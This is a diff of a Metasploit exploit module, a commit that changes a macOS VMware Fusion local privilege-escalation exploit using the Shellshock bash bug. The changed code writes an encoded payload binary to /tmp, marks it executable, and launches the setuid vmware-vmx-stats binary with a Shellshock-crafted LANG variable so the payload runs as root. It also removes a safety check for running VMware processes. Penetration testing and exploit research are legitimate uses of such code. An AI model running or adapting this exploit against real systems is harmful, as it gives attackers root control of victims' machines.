@@ -25,7 +25,8 @@ def initialize(info={})
25
25
[
26
26
'Stephane Chazelas' , # discovered the bash bug
27
27
'juken' , # discovered the VMWare priv esc
28
- 'joev' # msf module
28
+ 'joev' , # msf module
29
+ 'mubix' # vmware-vmx-stats
29
30
] ,
30
31
'References' =>
31
32
[
@@ -64,18 +65,8 @@ def check
64
65
end
65
66
66
67
def exploit
67
- process_check = datastore [ 'VMWARE_PATH' ] + '/Contents/Library/VMware Fusion Services'
68
- processes = cmd_exec ( "bash -c \" ps ax | grep '#{ process_check } '\" " ) . split ( "\n " )
69
- processes . delete_if { |p | p =~ /grep/ }
70
-
71
- if processes . length > 0
72
- print_error ( "VMware is already running the following processes:\n #{ processes . join ( "\n " ) } " )
73
- print_error ( "These processes must be killed before exploiting." )
74
- return
75
- end
76
-
77
68
payload_file = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
78
- path = '/Contents/Library/Open VMware Fusion Services ' # path to the suid binary
69
+ path = '/Contents/Library/vmware-vmx-stats ' # path to the suid binary
79
70
80
71
print_status ( "Writing payload file as '#{ payload_file } '" )
81
72
exe = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
@@ -84,7 +75,7 @@ def exploit
84
75
cmd_exec ( "chmod +x #{ payload_file } " )
85
76
86
77
print_status ( "Running VMWare services..." )
87
- cmd_exec ( "LANG='() { :;}; #{ payload_file } ' '#{ datastore [ 'VMWARE_PATH' ] } #{ path } '" )
78
+ cmd_exec ( "LANG='() { :;}; #{ payload_file } ' '#{ datastore [ 'VMWARE_PATH' ] } #{ path } ' /dev/random " )
88
79
end
89
80
90
81
end
0 commit comments